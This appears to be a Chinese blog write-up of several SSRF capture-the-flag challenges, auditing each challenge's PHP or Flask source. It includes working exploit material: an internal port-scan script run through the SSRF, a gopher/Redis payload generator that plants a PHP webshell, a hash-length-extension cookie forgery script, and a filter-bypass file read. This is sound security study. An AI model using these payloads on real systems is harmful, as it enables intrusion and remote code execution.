ssrf解题记录

  最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程。

  pwn题最近做的也很少,也要开始做题了。

2020 GKctf:Ezweb

  题目打开如下:

  查看前端页面源码发现hint:get方式提交secret参数。传递secret参数之后发现后端执行了ifconfig命令。

  有了内网ip之后,尝试在输入框输入ip地址,然后发现会对服务器的资源进行请求,请求到资源的结果会显示在页面前端。

  php中常见的请求服务器资源的函数有file_get_content(),curl_exec(),fsockopen(),这些函数都是有可能造成ssrf()的危险函数。题目做到这里的时候,我感觉我打黑盒的经验还很欠缺。

  在url中我们尝试ifconfig中输出的三个ip,发现设置了黑名单过滤了localhost的ip。

  我首先尝试了使用php://filter来读取index.php的源码:

php://filter/read=convert.base64-encode/resource=index.php

  但是页面没有回显,然后我又尝试通过file://伪协议来访问本地文件系统获取index.php的源码。

file://var/www/html/index.php

  发现又是黑名单,但是我第一下没有想到是过滤了"//",我以为是过滤了file伪协议,走了很多弯路,后来看了别人的writeup,又看了php文档,文档中写到了这样的内容:

  "//"被过滤的时候,可以尝试通过"/"和"///"来进行绕过,通过单反斜杠可以绕过黑名单,获取index.php的源码。

  这篇文章中还记录了一些有意思的ssrf的trick:https://www.cnblogs.com/w1hg/p/14363840.html

  审计代码:

<?php
function curl($url){
$ch = curl_init();
// 初始化curl会话
curl_setopt($ch, CURLOPT_URL, $url);
// curl_setopt设置curl的选项,CURLOPT_URL返回$url的值
curl_setopt($ch, CURLOPT_HEADER, 0);
// CURLOPT_HEADER启用时会将头文件的信息作为数据流输出
echo curl_exec($ch);
curl_close($ch);
# 关闭curl链接
} if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
# 过滤"file://"
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

  不能使用php://filter来读取文件的原因也找到了。curl_exec()函数支持http://和file://,但是不支持php://filter,所以这里只能通过file://来访问服务器本地文件。

  ifconfig前面其实是给出了内网的网段。ssrf服务器端伪造请求本身就是对于请求的资源没有做出合理的限制,导致通过Web服务器突破了网络边界,从而对内网进行了入侵,现在Web服务器提供了一个url接口,通过curl_exec()来执行资源请求,我们可以借助http服务来实现一个内网主机存活和端口扫描的脚本。或者通过burpsuite intruder直接扫描也可以。

import requests
import time ports = ['80','6379','3306','8080','8000']
session = requests.session()
C_ip = "10.0.27." #内网ip网段
for i in range(1,255):
ip = C_ip + str(i)
for port in ports:
url = 'http://4b4cb162-9ccc-447b-9703-8e551f1d89cb.node4.buuoj.cn/index.php?url=%s:%s&submit=1'%(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.text) != 0:
print(ip,port,'is open')
except:
continue print('Done.')

  测试之后发现内网10.0.27.6这台主机是目标靶机。

  扫描的过程中发现开放了6379端口,6379端口是redis的默认端口,通过ssrf进而攻击内网redis服务也是常见的套路之一。

  ssrf攻击redis服务实现RCE主要的利用有两种,一种是利用header CRLF注入,一种是利用gopher来进行注入。

  https://joner11234.github.io/article/9d7d2c7d.html

https://blog.chaitin.cn/gopher-attack-surfaces/

  下面两篇文章都讲到了如何利用gopher协议和CRLF注入来拓展ssrf的攻击面,我这里也做一点自己的总结。

  redis协议报文格式如下:

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

  redis协议的是语句是依靠换行符来进行截断的,如果在redis协议报文中构造恶意的"\r\n",我们就可以在其中插入shell语句或者php语句,从而写入文件,通过反弹shell或者phpshell来实现RCE。

  gopher协议是internal早期的一种协议,除了可以返送get和post请求之外,还可以访问redis,ftp等其他端口(这些端口一般又只在内网开放,这种情况下,利用gopher协议就可以极大地拓展攻击面)。

  可以利用一个工具来生成gopher协议的payload:Gopherus

  或者利用其他师傅写的一个脚本专门生成phpshell:

import urllib
protocol="gopher://"
ip="10.0.27.6"
port="6379"
#shell="\n\n<?php system(\"cat /flag\");?>\n\n"
shell="\n\n<?php system($_GET['cmd']);?>"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)

De1ctf 2019:ssrfMe

  一道python的ssrf题目,题目给出了源码app.py,审计源码:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16)
# 生成16位随机数secert_key class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
# 每个ip创建一个文件夹 def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
# 检查sign是否生成
# geneSign路由生成key,在Task.exec()方法调用前需要先访问geneSign路由
# 这里利用到哈希拓展攻击
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
# action中存在"scan"时,写入临时文件result.txt
resp = scan(self.param)
# scan函数中存在向url请求读入资源的操作
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
# 网页状态码修改为200
if "read" in self.action:
# 如果action中存在"read"字段时,从临时文件中读取内容写入result
f = open("./%s/result.txt" % self.sandbox, 'r')
# 闭合格式化字符串读取文件?
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False # generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
# param=>get传参进行,unquote进行解码
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
# 获取访问ip
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
# action = scan
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
# 读取code.txt的值并返回 def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
# scan函数中存在向其他url请求资源的情况
# urlopen(param),param参数为不可信输入,且未经处理到达污染汇聚点
# 题目中提示./flag.txt,直接访问本地文件任意文件读
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
# 计算secert_key,param,action的和的md5值
# secret_key不可控,param是data,action是contral_data,./De1ta路由中param和action都是可控的
# 哈希拓展攻击的场景:
# 1.准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名)
# 2.让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文
# 3.服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
# {secret,data,control_data} def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
# 去除空字符并且全部小写
if check.startswith("gopher") or check.startswith("file"):
# startswith:如果字符串以指定的prefix开头,返回true
# param函数的开头禁用了gopher协议和file协议,实际上是限制对内网资源的访问
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

  源码中有三个路由,三个路由对应的功能做一个分析:

  1."./":将源代码返回在前端页面上;

  2."./geneSign":首先生成了16位的随机数secret_key,然后与param和action参数的值进行拼接,返回字符串的md5值;

  3."./De1ta":首先赋值变量,然后调用waf函数检查param中是否存在特定的字符串,然后实例化Task类并且调用Exec方法。Exec方法中首先调用checkSign函数检查cookie中的sign与(secret_key+param+action)返回的md5值是否相等,如果相等的话检查action参数中是否存在"scan"字符串,如果存在"scan"字符串的话,调用open函数打开tmpfile,调用scan函数获取url资源并且写入文件。在调用scan函数的过程中,没有对要获取的资源做出限制,造成ssrf漏洞。如果action参数中存在"read"字符串的话,打开tmpfile并且读入tmpfile的值到result['data']中,最后返回result。

  题目给出了提示,flag在“./flag.txt”中。首先访问"./geneSign"路由,param参数的值为"./flag.txt",action变量的值是硬编码的,此时生成一个sign。

  然后需要了解一下哈希拓展攻击:https://www.cnblogs.com/pcat/p/5478509.html

  这个场景就是一个很明显的哈希拓展攻击的场景,由于在Exec方法中,param参数和action参数我们都是可控的,哈希拓展攻击使用到的工具是hashpump,具体使用方法如图所示:

  Input Signature表示的是初始的哈希值,Input Data是最初contral_data的值,Input Key Length是secret_key和data字符串的长度和,Input Data是contral_data中新添加内容的值。

  最终后面生成的是第二次要输入的哈希值和最终的contral_data。写一个简单的requests脚本发送数据包:

import requests
import hashlib
import hashpumpy url = 'http://f9552bae-8ce4-4ca5-9bc4-e435d7f197dc.node4.buuoj.cn/De1ta'
param = '?param=flag.txt'
payload = url + param
cookies = {"sign":"2cbc83f4b2c2b2f994125f37facbf0b4",
"action":"scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"}
r = requests.get(payload,cookies=cookies)
print(r.text)

  

  这道题看别的师傅的writeup还有一种简便的做法,思路比较巧妙:

  既然两次都是字符串拼接,那在geneSign路由中param=flag.txtread,action=scan,拼接的结果是"flag.txtreadscan",在De1ta路由中,param=flag.txt,action=readscan,拼接的结果是"flag.txtreadscan",依然可以绕过校验。

N1book:ssrf Training

  打开界面如下,challege.php提供了源码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
# 通过正则表达式限制url访问的协议,url中只允许http协议和https协议
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
} function safe_request_url($url)
{ if (check_inner_ip($url))
# 限制访问内网ip
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# 将curl_exec获取的信息以字符串返回,而不直接输出
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
# 获取传输的信息
if ($result_info['redirect_url'])
# 如果存在重定向
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
} $url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
} ?>

  通过正则限制了url格式,白名单只允许http和https两个协议访问。题目提示了flag.php,输入url直接文件读即可:

hitcon2017 ssrfme

  题目给出源码,审计一下:

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
# HTTP_X_FORWARDED_FOR,返回x_forwarded_for
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
# 返回以","分割的数组
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
} echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
# $_SERVER["REMOTE_ADDR"]可控
@mkdir($sandbox);
@chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# escapeshellarg把字符转码为可以在shell中使用的参数
# 请求url资源
# vps上保存hack.php
$info = pathinfo($_GET["filename"]);
# pathinfo以数组的形式返回文件路径
# dirname,basename(文件名全名),extension(拓展名),filename(文件名)
# 控制filename 要实现任意文件写需要突破目录限制
$dir = str_replace(".", "", basename($info["dirname"]));
# 输出当前目录
@mkdir($dir);
@chdir($dir);
# 进入目录: ./sandbox/md5_hash/dir
@file_put_contents(basename($info["basename"]), $data);
# 文件中写入从url中获取的资源
highlight_file(__FILE__);
# phpshell需要绕过目录限制
?>

   可以看到,源码中实现了通过shell_exec调用GET命令来请求url资源,并且将请求到的内容写入本地文件的操作,如果我们把webshell放在vps上,然后GET发起请求并且写入文件的话,就可以把webshell写入到本地文件中去。但是写入的文件目录是有限制的,以我开始的想法,这道题目的意思就是想办法绕过目录限制写入webshell来rce。

  感觉比较难办的是basename,查阅文档有如下注释。

  这样一来,似乎只能在sanbox目录下写入文件了,如果是在根目录下,好像没办法传Webshell。

  开始我以为sanbox是根目录下的目录,后来仔细一看是相对路径,是在/var/www/html目录下的,那这个好办了,我在我的vps上先写好马,然后直接写入到相应目录下用蚁剑直接连接即可。

  蚁剑连接后,根目录下可以看到flag和readflag,执行readflag就可以读出文件。

预期解

  题解中解法主要是考察GET命令执行。

  GET是linux一个内置的命令,用来发送get请求,GET命令支持file协议,也就是说可以读取文件和目录结构。同时,只要构造文件名(使文件名为命令加管道符的结构),在文件存在的情况下,GET也可以通过调用perl中open函数实现命令执行的目的。

  然后访问111这个文件就可以看到根目录结构。

  然后创建命令执行的文件

  将file协议访问文件的内容保存到flag文件中去。

  访问文件,获取flag。

  

  

  

  

 

  

  

 

ssrf解题记录的更多相关文章

  1. pwnable.kr input解题记录

    pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...

  2. angr脚本——以angrctf解题记录为参考

    angr脚本--以angrctf解题记录为参考 ​ angr是用于逆向工程中进行二进制分析的一个python框架 ​ 符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...

  3. LeetCode解题记录(贪心算法)(二)

    1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...

  4. 实验吧web解题记录

    自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...

  5. LeetCode解题记录(贪心算法)(一)

    1. 前言 目前得到一本不错的算法书籍,页数不多,挺符合我的需要,于是正好借这个机会来好好的系统的刷一下算法题,一来呢,是可以给部分同学提供解题思路,和一些自己的思考,二来呢,我也可以在需要复习的时候 ...

  6. Leetcode解题记录

    尽量抽空刷LeetCode,持续更新 刷题记录在github上面,https://github.com/Zering/LeetCode 2016-09-05 300. Longest Increasi ...

  7. AC自动机解题记录

    1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...

  8. [LeetCode]Valid Sudoku解题记录

    这道题考查对二维数组的处理,哈希表. 1.最自然的方法就是分别看每一个数是否符合三个规则.所以就须要对应的数据结构来 记录这些信息,判定是否存在.显然最先想到用哈希表. 2.学会把问题抽象成一个个的子 ...

  9. AcWing 791. 高精度加法 解题记录

    题目地址 https://www.acwing.com/problem/content/description/793/ 题目描述给定两个正整数,计算它们的和. 输入格式共两行,每行包含一个整数. 输 ...

随机推荐

  1. [Django REST framework - 序列化组件、source、钩子函数]

    [Django REST framework - 序列化组件.source.钩子函数] 序列化器-Serializer 什么是rest_framework序列化? 在写前后端不分离的项目时: 我们有f ...

  2. Redis配置统计字典

    本章将对Redis的系统状态信息(info命令结果)和Redis的所有配置(包括Standalone.Sentinel.Cluster三种模式)做一个全面的梳理,希望本章能够成为Redis配置统计字典 ...

  3. 31、服务器磁盘、内存、cpu使用率监控

    31.1.监控磁盘: #!/bin/sh diskspace="`df -hT`" IFS="\n" disk_value="80" ech ...

  4. SpringCloud:Feign调用接口不稳定问题以及如何设置超时

    1. Feign调用接口不稳定报错 Caused by: java.net.SocketException: Software caused connection abort: recv failed ...

  5. nginx 基本配置

    server { listen 80; server_name 域名; #access_log /var/log/nginx/admin.log; index index.html index.htm ...

  6. 《PHP基础知识总结》系列分享专栏

    总结PHP基础知识,对初学者还是高手都值得参考巩固. <PHP基础知识总结>已整理成PDF文档,点击可直接下载至本地查阅https://www.webfalse.com/read/2017 ...

  7. 使用Octotree插件在Edge上以树形结构浏览GitHub上的源码

    先预览效果左侧的目录通过点击,就可以到达对应的源码位置. 首先点击打开Edge中的浏览器扩展在右上角...=>点击扩展=>点击获取Microsoft Edge扩展按钮=>在左侧搜索所 ...

  8. php-18个魔法函数

    目录 php魔法函数 介绍 范例 1.__construct() 2.__destruct() 3.__call() 4.__callStatic 5.__get() 6.__set() 7.__is ...

  9. 阿里云PTS分享-用性能测试工具JMeter实现基于供应链业务上对于WebSocket 协议的压测

    性能测试PTS(Performance Testing Service)是面向所有技术相关背景人员的云化性能测试工具,孵化自阿里内部平台.有别于传统工具的繁复,PTS以互联网化的交互,面向分布式和云化 ...

  10. final修饰符(3)-基本类型变量和引用类型变量的区别

    final修饰基本类型变量 当使用final修饰基本类型变量时,不能对基本类型变量重新赋值,因此基本类型变量不能被改变 final修饰引用类型变量 当使用final修饰引用类型变量时,它保存的仅仅是一 ...